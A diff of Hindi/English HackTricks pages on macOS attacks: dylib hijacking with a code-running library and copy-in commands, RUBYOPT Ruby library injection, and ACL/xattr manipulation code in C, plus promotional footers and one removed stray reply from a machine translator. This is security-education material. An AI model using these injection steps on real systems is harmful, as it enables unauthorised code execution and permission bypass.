||||||
}
|
}
|
||||||
```
|
```
|
||||||
आक्रमण के लिए बाइनरी:
|
बाइनरी पर हमला करने के लिए:
|
||||||
```c
|
```c
|
||||||
// gcc hello.c -o hello
|
// gcc hello.c -o hello
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -45,13 +46,13 @@ printf("Hello, World!\n");
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
संधारण:
|
Injection:
|
||||||
```bash
|
```bash
|
||||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||||
```
|
```
|
||||||
## Dyld हाइजैकिंग उदाहरण
|
## Dyld Hijacking Example
|
||||||
|
|
||||||
लक्षित वंलरेबल बाइनरी है `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
लक्षित कमजोर बाइनरी है `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="entitlements" %}
|
{% tab title="entitlements" %}
|
||||||
|
@ -91,7 +92,7 @@ compatibility version 1.0.0
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
पिछली जानकारी के साथ हमें पता चलता है कि यह **लोड की गई पुस्तकालयों के हस्ताक्षर की जांच नहीं कर रहा है** और यह **एक पुस्तकालय लोड करने की कोशिश कर रहा है**:
|
पिछली जानकारी के साथ, हम जानते हैं कि यह **लोड की गई लाइब्रेरीज़ के हस्ताक्षर की जांच नहीं कर रहा है** और यह **एक लाइब्रेरी लोड करने की कोशिश कर रहा है**:
|
||||||
|
|
||||||
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
||||||
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
||||||
|
@ -104,7 +105,7 @@ pwd
|
||||||
find ./ -name lib.dylib
|
find ./ -name lib.dylib
|
||||||
./Contents/Resources/lib2/lib.dylib
|
./Contents/Resources/lib2/lib.dylib
|
||||||
```
|
```
|
||||||
इसलिए, इसे हाइजैक करना संभव है! एक लाइब्रेरी बनाएं जो **कुछ अनियमित कोड को क्रियान्वित करती है और वास्तविक लाइब्रेरी की तरह समार्थन निर्यात करती है** उसे पुनः निर्यात करके। और याद रखें कि इसे उम्मीद की गई संस्करणों के साथ कंपाइल करें:
|
तो, इसे हाईजैक करना संभव है! एक लाइब्रेरी बनाएं जो **कुछ मनमाने कोड को निष्पादित करती है और वैध लाइब्रेरी के समान कार्यक्षमताओं को फिर से निर्यात करके निर्यात करती है**। और याद रखें कि इसे अपेक्षित संस्करणों के साथ संकलित करें:
|
||||||
|
|
||||||
{% code title="lib.m" %}
|
{% code title="lib.m" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
|
@ -117,7 +118,7 @@ NSLog(@"[+] dylib hijacked in %s", argv[0]);
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
इसे कंपाइल करें:
|
इसे संकलित करें:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -126,7 +127,7 @@ gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Found
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
पुनयायात्रा पथ जो पुस्तकालय में बनाया गया है, लोडर के संबंध में सापेक्ष है, हम इसे निर्यात करने के लिए एक पूर्ण पथ के लिए बदल देंगे:
|
लाइब्रेरी में बनाए गए पुनः निर्यात पथ लोडर के सापेक्ष होते हैं, आइए इसे निर्यात करने के लिए लाइब्रेरी के लिए एक पूर्ण पथ में बदलते हैं:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -147,7 +148,7 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
अंत में इसे **हाइजैक की गई स्थान** पर कॉपी करें:
|
अंत में, इसे **हाइजैक की गई स्थान** पर कॉपी करें:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -155,7 +156,7 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
और **बाइनरी को चलाएं** और जांच करें कि **लाइब्रेरी लोड** हो गई है:
|
और **बाइनरी** को **निष्पादित** करें और जांचें कि **लाइब्रेरी लोड हुई**:
|
||||||
|
|
||||||
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||||||
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
||||||
|
@ -163,25 +164,26 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
||||||
</code></pre>
|
</code></pre>
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
इस व्यक्तिगत दुरुपयोग को दुरुपयोग करने के लिए इस कमजोरी के बारे में एक अच्छा लेख [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) में मिल सकता है।
|
कैमरा अनुमतियों का दुरुपयोग करने के लिए इस भेद्यता का दुरुपयोग कैसे करें, इस पर एक अच्छा लेख [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) में पाया जा सकता है।
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## बड़े पैमाने पर
|
## बड़े पैमाने पर
|
||||||
|
|
||||||
यदि आप अप्रत्याशित बाइनरी में लाइब्रेरी इंजेक्शन करने की कोशिश कर रहे हैं तो आप प्रक्रिया के अंदर लाइब्रेरी लोड होने का पता लगाने के लिए घटना संदेशों की जांच कर सकते हैं (इस मामले में printf और `/bin/bash` निष्क्रिय करें)।
|
यदि आप अप्रत्याशित बाइनरी में लाइब्रेरी इंजेक्ट करने की योजना बना रहे हैं, तो आप यह पता लगाने के लिए इवेंट संदेशों की जांच कर सकते हैं कि प्रक्रिया के अंदर लाइब्रेरी कब लोड होती है (इस मामले में printf और `/bin/bash` निष्पादन को हटा दें)।
|
||||||
```bash
|
```bash
|
||||||
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,24 +1,25 @@
|
||||||
# macOS Ruby एप्लिकेशन्स इंजेक्शन
|
# macOS Ruby Applications Injection
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
|
|
||||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का अनुसरण करें**.
|
|
||||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## RUBYOPT
|
## RUBYOPT
|
||||||
|
|
||||||
इस env वेरिएबल का उपयोग करके जब भी **ruby** निष्पादित होती है तो उसमें **नए पैरामीटर्स जोड़ना** संभव है। हालांकि पैरामीटर **`-e`** का उपयोग ruby कोड निष्पादित करने के लिए नहीं किया जा सकता, पैरामीटर्स **`-I`** और **`-r`** का उपयोग करके लाइब्रेरीज के लोड पथ में एक नया फोल्डर जोड़ना और फिर **लोड करने के लिए एक लाइब्रेरी निर्दिष्ट करना** संभव है।
|
इस env वेरिएबल का उपयोग करके **ruby** को निष्पादित करते समय **नए params** को **जोड़ना** संभव है। हालांकि **`-e`** पैरामीटर का उपयोग ruby को निष्पादित करने के लिए कोड निर्दिष्ट करने के लिए नहीं किया जा सकता है, लेकिन **`-I`** और **`-r`** पैरामीटर का उपयोग करके लोड पथ में एक नई फ़ोल्डर जोड़ना और फिर **लोड करने के लिए एक लाइब्रेरी निर्दिष्ट करना** संभव है।
|
||||||
|
|
||||||
**`/tmp`** में लाइब्रेरी **`inject.rb`** बनाएं:
|
लाइब्रेरी **`inject.rb`** को **`/tmp`** में बनाएं:
|
||||||
|
|
||||||
{% code title="inject.rb" %}
|
{% code title="inject.rb" %}
|
||||||
```ruby
|
```ruby
|
||||||
|
@ -26,7 +27,7 @@ puts `whoami`
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
कहीं भी एक रूबी स्क्रिप्ट बनाएं जैसे:
|
किसी भी जगह एक रूबी स्क्रिप्ट बनाएं जैसे:
|
||||||
|
|
||||||
{% code title="hello.rb" %}
|
{% code title="hello.rb" %}
|
||||||
```ruby
|
```ruby
|
||||||
|
@ -34,24 +35,25 @@ puts 'Hello, World!'
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
फिर एक मनमानी रूबी स्क्रिप्ट बनाएं और इसे लोड करें:
|
फिर एक मनमाना रूबी स्क्रिप्ट इसे लोड करें:
|
||||||
```bash
|
```bash
|
||||||
RUBYOPT="-I/tmp -rinject" ruby hello.rb
|
RUBYOPT="-I/tmp -rinject" ruby hello.rb
|
||||||
```
|
```
|
||||||
मजेदार तथ्य, यह पैरामीटर **`--disable-rubyopt`** के साथ भी काम करता है:
|
दिलचस्प तथ्य, यह **`--disable-rubyopt`** पैरामीटर के साथ भी काम करता है:
|
||||||
```bash
|
```bash
|
||||||
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
|
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>शून्य से नायक तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
||||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) **का पालन करें.**
|
|
||||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,24 +1,30 @@
|
||||||
# macOS xattr-acls extra stuff
|
# macOS xattr-acls अतिरिक्त चीजें
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a> <strong>के साथ!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
|
||||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर **मुझे फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
||||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
|
```bash
|
||||||
|
rm -rf /tmp/test*
|
||||||
|
echo test >/tmp/test
|
||||||
|
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
|
||||||
|
./get_acls test
|
||||||
|
ACL for test:
|
||||||
|
!#acl 1
|
||||||
|
group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
|
||||||
|
|
||||||
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
|
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
|
||||||
|
```
|
||||||
````
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>get_acls का कोड</summary>
|
<summary>get_acls का कोड</summary>
|
||||||
|
@ -61,10 +67,8 @@ acl_free(acl);
|
||||||
acl_free(acl_text);
|
acl_free(acl_text);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
````
|
```
|
||||||
|
</details>
|
||||||
Since you haven't provided any English text to translate, I'm unable to proceed with a translation. Please provide the specific content you want translated into Hindi, and I'll be happy to assist you.
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Lets add the xattr com.apple.xxx.xxxx with the acls
|
# Lets add the xattr com.apple.xxx.xxxx with the acls
|
||||||
mkdir start
|
mkdir start
|
||||||
|
@ -72,43 +76,94 @@ mkdir start/protected
|
||||||
./set_xattr start/protected
|
./set_xattr start/protected
|
||||||
echo something > start/protected/something
|
echo something > start/protected/something
|
||||||
```
|
```
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>set_xattr का कोड</summary>
|
<summary>set_xattr का कोड</summary>
|
||||||
|
```c
|
||||||
|
// gcc -o set_xattr set_xattr.c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/xattr.h>
|
||||||
|
#include <sys/acl.h>
|
||||||
|
|
||||||
\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include
|
|
||||||
|
|
||||||
void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; }
|
void print_xattrs(const char *filepath) {
|
||||||
|
ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW);
|
||||||
|
if (buflen < 0) {
|
||||||
|
perror("listxattr");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; }
|
char *buf = malloc(buflen);
|
||||||
|
if (buf == NULL) {
|
||||||
|
perror("malloc");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; }
|
buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW);
|
||||||
|
if (buflen < 0) {
|
||||||
|
perror("listxattr");
|
||||||
|
free(buf);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; }
|
printf("All current extended attributes for %s:\n", filepath);
|
||||||
|
for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) {
|
||||||
|
printf("%s: ", name);
|
||||||
|
ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW);
|
||||||
|
if (valuelen < 0) {
|
||||||
|
perror("getxattr");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; }
|
char *value = malloc(valuelen + 1);
|
||||||
|
if (value == NULL) {
|
||||||
|
perror("malloc");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; }
|
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW);
|
||||||
|
if (valuelen < 0) {
|
||||||
|
perror("getxattr");
|
||||||
|
free(value);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
value\[valuelen] = '\0'; // Null-terminate the value printf("%s\n", value); free(value); }
|
value[valuelen] = '\0'; // Null-terminate the value
|
||||||
|
printf("%s\n", value);
|
||||||
|
free(value);
|
||||||
|
}
|
||||||
|
|
||||||
free(buf); }
|
free(buf);
|
||||||
|
}
|
||||||
|
|
||||||
int main(int argc, char \*argv\[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv\[0]); return 1; }
|
|
||||||
|
|
||||||
const char \*hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a"; const char \*filepath = argv\[1];
|
int main(int argc, char *argv[]) {
|
||||||
|
if (argc != 2) {
|
||||||
|
fprintf(stderr, "Usage: %s <filepath>\n", argv[0]);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0); if (result == 0) { printf("Extended attribute set successfully.\n\n"); } else { perror("setxattr"); return 1; }
|
const char *hex = "\x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a";
|
||||||
|
const char *filepath = argv[1];
|
||||||
|
|
||||||
print\_xattrs(filepath);
|
int result = setxattr(filepath, "com.apple.xxx.xxxx", hex, strlen(hex), 0, 0);
|
||||||
|
if (result == 0) {
|
||||||
|
printf("Extended attribute set successfully.\n\n");
|
||||||
|
} else {
|
||||||
|
